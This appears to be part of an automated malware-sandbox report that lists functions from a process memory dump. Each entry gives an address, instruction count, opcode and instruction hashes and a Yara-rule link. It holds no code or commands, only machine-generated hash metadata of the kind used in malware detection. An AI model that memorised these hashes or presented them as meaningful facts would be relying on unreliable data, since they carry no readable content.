Opcode Fuzzy Hash: 8d774e958955e2a4888292503cae141afd510c2672050b36ba74763b54e4c63a
Instruction Fuzzy Hash: 5B112636605A80CFD72A8729C944B7537D5EF46759F2900A0ED2487693E368DDC1E268

Uniqueness

Uniqueness Score: -1.00%

Function 00BF766D, Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f0f9780e106b949b133bc76075252866a2fc865c05abd63e27a9356099b865c
Instruction ID: c9a0cc6b1d02cc693620dd275b8e9b8fa98f73cbd155ff54cfdb73f2f25b3ab9
Opcode Fuzzy Hash: 0f0f9780e106b949b133bc76075252866a2fc865c05abd63e27a9356099b865c
Instruction Fuzzy Hash: D401D43234051CBBC7209E5ECC41EAB77EDEB85760B2401B8BA08CB290DE30DC05E3A0

Uniqueness

Uniqueness Score: -1.00%

Function 00BE9080, Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac25475a5c9f0ab92e906828d5597799be61b240803e83568b806b1f23718e3d
Instruction ID: 316cd5fcc6fd6b5d9d47b4ae125d8f97ffb612a0efbd4faf89ae4b4f885d0853
Opcode Fuzzy Hash: ac25475a5c9f0ab92e906828d5597799be61b240803e83568b806b1f23718e3d
Instruction Fuzzy Hash: 4F01FFB26026449FC7298F09D840B26BBE9EF81320F2140B7E2018B7A2C370DC85CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00C7C450, Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: efb8dbafbc21be99c6828cd6b94329c97088fdc8e1727ade4875afce538aa955
Instruction ID: ddc3a71eadb8f2b1942080b9fa065344f3c111d960e9bd7fb8a7c16f700a9e78
Opcode Fuzzy Hash: efb8dbafbc21be99c6828cd6b94329c97088fdc8e1727ade4875afce538aa955
Instruction Fuzzy Hash: 93019276240516BFD726AF69CC91E62FB6DFF54390F008629F118429A1CB31ACA0DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00CB4015, Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8f054f6dcd0ae94914d9ce6d67c0cf9c6aa8ba1a20a186efdbe29231f6d64f9
Instruction ID: e0551a3a6f51ece7cdec103f5edd3ed4bd38d40f94a61e829a5aeb936e344374
Opcode Fuzzy Hash: d8f054f6dcd0ae94914d9ce6d67c0cf9c6aa8ba1a20a186efdbe29231f6d64f9
Instruction Fuzzy Hash: C401A2726429467FC715BB79CD85E63B7ACFF457A0B000225F60883A53CB24EC15C6E4

Uniqueness

Uniqueness Score: -1.00%

Function 00CA138A, Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54adb7b255c13e7586e8fe9479c2add112ebb7b461935cee4b9087bb9efe59bf
Instruction ID: 233d1651924f1a727430354a6dbf6a7ff61ff9c6481d8f2d1b0479e72572a619
Opcode Fuzzy Hash: 54adb7b255c13e7586e8fe9479c2add112ebb7b461935cee4b9087bb9efe59bf
Instruction Fuzzy Hash: F1019E71E01318AFCB14DFA9D842FAEBBB8EF45710F00406AB904EB291DA709E01DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00CA14FB, Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f882f4f57746e0315576c93015f93a9a72ca9286c415552341f596271aecb17
Instruction ID: dbd189b6dd9d42c0dfdc14d0d9a2278057d721a00a462e11cfdea25e9cd414a7
Opcode Fuzzy Hash: 9f882f4f57746e0315576c93015f93a9a72ca9286c415552341f596271aecb17
Instruction Fuzzy Hash: 07019E71E01258AFCB14DFA9D842FAEBBB8EF45710F00406AF915EB281DA70DE00DB94

Uniqueness

Uniqueness Score: -1.00%

Function 00BE58EC, Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a8f6214eca59306170e8f325f29b7797c3cfd4d728b2a7e02bdd973eb966d98
Instruction ID: 1681c58b52a97294c75f546f0e4d14b7190608845166a242f00b877878a584c9
Opcode Fuzzy Hash: 5a8f6214eca59306170e8f325f29b7797c3cfd4d728b2a7e02bdd973eb966d98
Instruction Fuzzy Hash: 54018F36A00948DBC724EF2ADC41AEF77E8EF80364F5501AAB90597252DF20ED018690

Uniqueness

Uniqueness Score: -1.00%

Function 00BFB02A, Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e61b3b4b4670f516fc01dc09380e60ecf2e8637ce05565c6f774399af743f4d
Instruction ID: 9bb7950dc4e36bab0bcf7c8445abdf23a9723f9b13baac7e55c8e635e393a153
Opcode Fuzzy Hash: 2e61b3b4b4670f516fc01dc09380e60ecf2e8637ce05565c6f774399af743f4d
Instruction Fuzzy Hash: 2B017C72244A84DFD326876DC988FB777E8EB45750F0A00A1FA29CBA91DB28DC44D621

Uniqueness

Uniqueness Score: -1.00%

Function 00CB1074, Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec52556d87627a468a90c71eba61d90707c7066808eb3d6150a04f7f8dc5e229
Instruction ID: 0075c6a6e528e64f4e7bb16090b93ebba42df1702e7fc76c5f1999ef5ad56f44
Opcode Fuzzy Hash: ec52556d87627a468a90c71eba61d90707c7066808eb3d6150a04f7f8dc5e229
Instruction Fuzzy Hash: 03019772604342AFC710EF68DC00B5A77E5AB80300F08862AFC8583391EE30D980DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00C9FEC0, Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5452e598907694e5e4bdd3bb29533df34dc60472a68c19f7f419fe9b329d5303
Instruction ID: 5cc1bbf56d1bc4bdea5e9347f4312c2417db8cd9b72b0fa60b1b29d7268d8fae
Opcode Fuzzy Hash: 5452e598907694e5e4bdd3bb29533df34dc60472a68c19f7f419fe9b329d5303
Instruction Fuzzy Hash: 03018471E01218AFCB14DBA9E846FAEB7B8EF45710F00406AB901EB291DA709A01D795

Uniqueness

Uniqueness Score: -1.00%

Function 00C9FE3F, Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd0e9a8b88360941fcc9c77e1ca511e4bf32f5215da22fea6fd91ea1fc4465c1
Instruction ID: 5f3982f0d4eb080855812c2faa53191c06bdc01afd4415d3992afeea5ac987c8
Opcode Fuzzy Hash: dd0e9a8b88360941fcc9c77e1ca511e4bf32f5215da22fea6fd91ea1fc4465c1
Instruction Fuzzy Hash: 0B018471E01218ABCB14DFA9D846FAEB7B8EF44710F00406AB900EB291DA709A41D795

Uniqueness

Uniqueness Score: -1.00%

Function 00CB8A62, Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b6bc7b2bd0cd0ff121916db82c246783afc0f5e51d5989929ccb7f23468bb96
Instruction ID: 13197edd346dd0bc1ddff253f4a10f75ed24f3060da36aca497edea0de77001d
Opcode Fuzzy Hash: 4b6bc7b2bd0cd0ff121916db82c246783afc0f5e51d5989929ccb7f23468bb96
Instruction Fuzzy Hash: 3C012C71A0121CAFCB04DFA9D942AEEBBB8EF48710F10405AF905E7351DA34AE00DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00CB8ED6, Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c35475809c199f9014d3bca8a41401ac86244a5f49ef96bfc3ce098d42a9acfe
Instruction ID: 272594775c1001f6b7c39843576df7e7aa3a1bd7695158ec3bd156a06553edf3
Opcode Fuzzy Hash: c35475809c199f9014d3bca8a41401ac86244a5f49ef96bfc3ce098d42a9acfe
Instruction Fuzzy Hash: CF11CC70E052599FDB04DFA9D541BAEB7F4FF08300F1442AAE919EB782E6349940DB94

Uniqueness

Uniqueness Score: -1.00%

Function 00BEDB60, Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4108fb18439822e7528065d03744c5b66e5752e741267b0d2dbc6e7ad13d6de1
Instruction ID: a9320a9984bf7bc962b99a42a1b54e9bc13eb22a9880e2aa26e523a4b1c3902f
Opcode Fuzzy Hash: 4108fb18439822e7528065d03744c5b66e5752e741267b0d2dbc6e7ad13d6de1
Instruction Fuzzy Hash: 45F0C2336016A29BD3326AAB88C0B2BA6D59F81B60F2700B5F1059B244DBA08C0296E0

Uniqueness

Uniqueness Score: -1.00%

Function 00BEB1E1, Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7c926d8f7ad5fed70f9c3145ab0d11368f8906714783f3796a50782a1b3489b
Instruction ID: d3a584ab1a2d2d6a150e42da338c6a39cf7788c8989abece996a799fc38f7cef
Opcode Fuzzy Hash: d7c926d8f7ad5fed70f9c3145ab0d11368f8906714783f3796a50782a1b3489b
Instruction Fuzzy Hash: 2E01F4322446C0ABDB269B5EC844F6ABBD8FF41754F1800A1FA158B6B2D778DD00E325

Uniqueness

Uniqueness Score: -1.00%

Function 00C7FE87, Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57d94394808b39d95db60e573ad063d54dd79b40093c82c101c13f3b2c876f84
Instruction ID: 8db15f685f67df9185fc5f257da5f942a76893506aa9950acbd309c9b3a202af
Opcode Fuzzy Hash: 57d94394808b39d95db60e573ad063d54dd79b40093c82c101c13f3b2c876f84
Instruction Fuzzy Hash: F4011270A04218EFCB14DFA8D546A6EB7F4EF04304F144169B959DB392D635EA02DB51

Uniqueness

Uniqueness Score: -1.00%

Function 00CA131B, Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0267d5c98464b4d6e37cafca0223b9fb5ef002f0fe76c12707835e27d3e690a3
Instruction ID: 603b57a44428cc741a413f77c6d355c35b4f5df351eba392c8b2e8b791aa3b60
Opcode Fuzzy Hash: 0267d5c98464b4d6e37cafca0223b9fb5ef002f0fe76c12707835e27d3e690a3
Instruction Fuzzy Hash: 52013C71E01218AFCB04EFA9D546AAEB7F4FF08700F10406ABD55EB391E674AA00DB54

Uniqueness

Uniqueness Score: -1.00%

Function 00CB8F6A, Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e55da283cd33088421a576a0a49464c02de0e58af669f4ca9b41a92c26d8f244
Instruction ID: 95ab2436e6d76753300e8f4f0fd1e26589827680d7d0cc0e0a19ab7bb049ac1f
Opcode Fuzzy Hash: e55da283cd33088421a576a0a49464c02de0e58af669f4ca9b41a92c26d8f244
Instruction Fuzzy Hash: D6014474E0120CAFCB04DFA8D546AAEB7F4EF08700F104059B905EB391DA74DA00DB94

Uniqueness

Uniqueness Score: -1.00%

Function 00CA1608, Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 615a4aaf51862c9efc7ddda6f6d4b05a805de111fb23faa3ca0ee3d837841290
Instruction ID: f6913966a98283fcbdfa89e8ad27f801cf5aee7765a5375817eabcf773330151
Opcode Fuzzy Hash: 615a4aaf51862c9efc7ddda6f6d4b05a805de111fb23faa3ca0ee3d837841290
Instruction Fuzzy Hash: 7FF06D71E05258EFCB14EFA9D906AAEB7F4EF09300F044069B915EB391EA349A00DB94

Uniqueness

Uniqueness Score: -1.00%

Function 00C0C577, Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83b023bfcd599206102647d689850c47a3ae661e2713ab163f849e138e399230
Instruction ID: b255b91fcdce99c9e418e422acb47d6a6eb3f1ed454e41254f4f6061326d5869
Opcode Fuzzy Hash: 83b023bfcd599206102647d689850c47a3ae661e2713ab163f849e138e399230
Instruction Fuzzy Hash: 12F024BA8112908FD731C318C8C4B227BD89B25330F544A67E425831C1D7A4FD80FA40

Uniqueness

Uniqueness Score: -1.00%

Function 00CA2073, Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b26b1b2abc3989522e82c11dbcc7dce7fd799f15babd9c4b5f7691de3bc4ae6
Instruction ID: c57784010f739050a62e965cb7d38ee2f86bf926e7cf383044e92c54d3f7193f
Opcode Fuzzy Hash: 9b26b1b2abc3989522e82c11dbcc7dce7fd799f15babd9c4b5f7691de3bc4ae6
Instruction Fuzzy Hash: D4F0207B4221E64ACF326B2C29023E62B80C747318F1A008BE8A017202CE348E87DB20

Uniqueness

Uniqueness Score: -1.00%

Function 00C2927A, Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb98b62dac83db7e13ee253788b92f70b835eb404f2827a387eedf494df67516
Instruction ID: 3e378f8aa9330690b72ee5cd141a2824a01fbe9bd084a3c92b02921055107f7c
Opcode Fuzzy Hash: fb98b62dac83db7e13ee253788b92f70b835eb404f2827a387eedf494df67516
Instruction Fuzzy Hash: A8E02B323406006BD7119F05DC81F47376DDF82720F01407CB5045E283C6F6DD0987A0

Uniqueness

Uniqueness Score: -1.00%

Function 00CB8D34, Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46b2f0c4179abf5878289f6093fc9d0261c39c43ce1c032716bcb5262d9fdcf4
Instruction ID: 9f17ea1431cb829425a49253ee647ea853dd77e2d16ad3eb9030181f7975967f
Opcode Fuzzy Hash: 46b2f0c4179abf5878289f6093fc9d0261c39c43ce1c032716bcb5262d9fdcf4
Instruction Fuzzy Hash: 9BF0B470E047089FCB14EFB8D442BAEB7B8EF14300F10809AF905EB291DA34D900D754

Uniqueness

Uniqueness Score: -1.00%

Function 00CB8B58, Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a106e4e4128f4e4bc78053178e76e8a2d3ed434510db615d6c4846913f99d859
Instruction ID: aa883e62e6f37c4a148ec56b25e957899d91f420112f4fd87c687edff6f14dfd
Opcode Fuzzy Hash: a106e4e4128f4e4bc78053178e76e8a2d3ed434510db615d6c4846913f99d859
Instruction Fuzzy Hash: A9F082B0A04258ABDB14EBB8E906E6EB3B8EF04300F540459B905DB3D1EA74D900D794

Uniqueness

Uniqueness Score: -1.00%

Function 00CB8CD6, Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07636c66017031f2061d878afc2af67bd517b5da0d89f0080350d3700af9b5ea
Instruction ID: e6385f1024191b6b809b481f9bd2bf3e85b38bc6d9a73dc3c44a3353359f2211
Opcode Fuzzy Hash: 07636c66017031f2061d878afc2af67bd517b5da0d89f0080350d3700af9b5ea
Instruction Fuzzy Hash: 3DF0A770A05219AFCB04EBB9E946EAE77B8EF09300F10019AF916EB3D1EA34DD04D754

Uniqueness

Uniqueness Score: -1.00%

Function 00C0746D, Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50b0f77358d447b897102275b20f18c62f31efa54108984908db0202ac35b48b
Instruction ID: 604b6e51983ca1c9d5b2fff9911565efab0091f25f235127c05ec6cde8b541dd
Opcode Fuzzy Hash: 50b0f77358d447b897102275b20f18c62f31efa54108984908db0202ac35b48b
Instruction Fuzzy Hash: EDF0B434D08144AACF099BA8C440B797BA1AF14350F144365E461A71E1E768AE01DF85

Uniqueness

Uniqueness Score: -1.00%

Function 00BE4F2E, Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df4e8a9e87cd71d78fea4b7396f5c4d89c0771d3a25e25818803713c68ad2abc
Instruction ID: aa484461fdc8e79ffc295ce9f47d917ac3647aa8be90cbfa813df50d293724ea
Opcode Fuzzy Hash: df4e8a9e87cd71d78fea4b7396f5c4d89c0771d3a25e25818803713c68ad2abc
Instruction Fuzzy Hash: E8F027335A1A848FD770E718C184F22B7D8FF00778F6485B4D52587921C734ED84C688

Uniqueness

Uniqueness Score: -1.00%

Function 00C1A44B, Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9cee131147ae746d1ea5476ed1021bb90c46643eae2d3f57ae2a35a0c0cb7de7
Instruction ID: 6838558518efdea5103e0980b9acae83cb6c700f4e9c37a40e26aedffc0c884d
Opcode Fuzzy Hash: 9cee131147ae746d1ea5476ed1021bb90c46643eae2d3f57ae2a35a0c0cb7de7
Instruction Fuzzy Hash: 3CE09272A02421ABD2115B18BC01FAB73ADDBD5B51F19403AF604C7250D668DD42E7E5

Uniqueness

Uniqueness Score: -1.00%

Function 00BEF358, Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61dda8323ae8c861ea8f02d60a1be81a40b0a62d8b7407e3baae4fe75ca8acd3
Instruction ID: e71bb87dc60ba000a239e49c8e95e206da845d0f2907af40dc2b03e6c87e9499
Opcode Fuzzy Hash: 61dda8323ae8c861ea8f02d60a1be81a40b0a62d8b7407e3baae4fe75ca8acd3
Instruction Fuzzy Hash: F3E0D832A40158BBCB2196D99E06FABBBACDB44B60F0041E6BA04D7190D5619D40D2D0

Uniqueness

Uniqueness Score: -1.00%

Function 00BFFF60, Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49e631418f7b3788214939c030d6f306382abc529e90c8be0e0a9a8d52d6f989
Instruction ID: 9e189b0960b80c279d1c627bb8d58a532e931c3432c4f599550e071d556be199
Opcode Fuzzy Hash: 49e631418f7b3788214939c030d6f306382abc529e90c8be0e0a9a8d52d6f989
Instruction Fuzzy Hash: 49E09AB12062099FDB34DB56D8A0F3537D8DF52721F2A84ADE2084B142C622DC88D206

Uniqueness

Uniqueness Score: -1.00%

Function 00C741E8, Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75f92ba05e5fcd850edbcb5d3d32b3c6def65fd278a43f40f18f29459a5b90b8
Instruction ID: 0fb77554df7736f7e32aa0d6c2966386dc86abee98527e3e44613db31608620b
Opcode Fuzzy Hash: 75f92ba05e5fcd850edbcb5d3d32b3c6def65fd278a43f40f18f29459a5b90b8
Instruction Fuzzy Hash: B3F01CB4522701DECBA6DF69E90171837E4F744710F22816BB124872A5CF348988DF21

Uniqueness

Uniqueness Score: -1.00%

Function 00C9D380, Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07c5925e52f8afa1b7907533c1bd4f73c0082095210f26f206316f10964d23b8
Instruction ID: 93cac9f25c534ca5c4df4819f5549edd8333a50495624c77e0f5043917b41fb5
Opcode Fuzzy Hash: 07c5925e52f8afa1b7907533c1bd4f73c0082095210f26f206316f10964d23b8
Instruction Fuzzy Hash: 68E0C231284254FBDF225E44CC01F797B66EB507A1F204031FE096A6A1C675ED91E6C4

Uniqueness

Uniqueness Score: -1.00%

Function 00C1A185, Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8414cf437d2cf0ddb5d32842d213028e93b38f128aef6b939ac3bbd819a1ebe
Instruction ID: 441b19963964051f0b82777189357ffb747dd4212c7b77ad67906b8ac54babfb
Opcode Fuzzy Hash: c8414cf437d2cf0ddb5d32842d213028e93b38f128aef6b939ac3bbd819a1ebe
Instruction Fuzzy Hash: F7D05BB1162044A6CF1D57149D55B692312E785714F31441EF2474A7E2D960D8D5F109

Uniqueness

Uniqueness Score: -1.00%

Function 00C116E0, Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62c7475c2b1d352d9316f8b1b59c076e25367d8787dd9a0a52ac74a9490aef7b
Instruction ID: d20f208d392fe127d2848c8053f6ee5d75accb863edd475ef8d4e871d13342d2
Opcode Fuzzy Hash: 62c7475c2b1d352d9316f8b1b59c076e25367d8787dd9a0a52ac74a9490aef7b
Instruction Fuzzy Hash: 0AD0A77121010192DE2D5B109815B552251DB82795F3C00ACF717495C2CFAACDD2F048

Uniqueness

Uniqueness Score: -1.00%

Function 00C653CA, Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67b7ac285cf5eeec7b30a6c71a9a804199707b28aa5e3d1143cb4169285b8378
Instruction ID: 12b4b40429b361c603b4a1b35111b3816baa765f3933477f72d847fcb2e67d5e
Opcode Fuzzy Hash: 67b7ac285cf5eeec7b30a6c71a9a804199707b28aa5e3d1143cb4169285b8378
Instruction Fuzzy Hash: 71E08C31A04A849BCF22DB48C690F5EB7F5FB44B80F240054B0186F772C624ED00CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00BFAAB0, Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e648023605194c2b3aa9f86d2ec8309cbf58e884a879224c73f234beb57dbf0
Instruction ID: 8a4bcb07d4b4406de755a298cd2a7a1c71f3874a9dd7cf18b72682cf2cef08d5
Opcode Fuzzy Hash: 0e648023605194c2b3aa9f86d2ec8309cbf58e884a879224c73f234beb57dbf0
Instruction Fuzzy Hash: EBD0E975352980CFD61BCB1DC554B1573A4FB44B44FC518D0E505CB761E66CDD44CA11

Uniqueness

Uniqueness Score: -1.00%

Function 00C135A1, Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 750563defb44073a80ffdee3a2c6a0b0b2386ed4e1eb18000b2b3230dd36d4d9
Instruction ID: 3d211427f9c2d6028644e693d0a9f7b780d211a3c51a2d7f10d2a17307b1c8b4
Opcode Fuzzy Hash: 750563defb44073a80ffdee3a2c6a0b0b2386ed4e1eb18000b2b3230dd36d4d9
Instruction Fuzzy Hash: 59D0A9314011C49EDB01EB10C2187F837B3BB02B0CF6820A5D0024686AC33A8F8EF600

Uniqueness

Uniqueness Score: -1.00%

Function 00BEDB40, Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 081987da54e71c0f98f8b6eb8dea8f5611fd71ec3e86a06c437935a1a17be5f8
Instruction ID: 7c65561b6d567aed13d9fc7b0e301d770019bcad9dd9b6bce4dd00ba55a5fe3a
Opcode Fuzzy Hash: 081987da54e71c0f98f8b6eb8dea8f5611fd71ec3e86a06c437935a1a17be5f8
Instruction Fuzzy Hash: BAC08C70290A40AAEB261F20CE02B4136A1BB01B01F4500A07300DA0F0EBB9DC01E600

Uniqueness

Uniqueness Score: -1.00%

Function 00C6A537, Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6c0dd98bdc9d799c561df663a79a4cb1d0de1ba5bb4d066895db6aa0bb5cbb5
Instruction ID: 8378272757ba8a2f13980d99bf778541d5f2b95129e3648b4102a867c1600c84
Opcode Fuzzy Hash: d6c0dd98bdc9d799c561df663a79a4cb1d0de1ba5bb4d066895db6aa0bb5cbb5
Instruction Fuzzy Hash: A3C08C37080648BBCF126F81CC01F067F2AFB94B60F008010FA580B5B1CA32E9B0EB84

Uniqueness

Uniqueness Score: -1.00%

Function 00C03A1C, Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96eed22535127586772c7987771c80cba013ba6a1ffa665a55b2596939b117e5
Instruction ID: ad4ba94cd0c9d450251e5973033c678224c6a953302e35a8a772cc51d482bef2
Opcode Fuzzy Hash: 96eed22535127586772c7987771c80cba013ba6a1ffa665a55b2596939b117e5
Instruction Fuzzy Hash: 22C08C32080648BBC7126F41DD01F027B29E790B60F000020B7040A5A18532EC60E588

Uniqueness

Uniqueness Score: -1.00%

Function 00BEAD30, Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
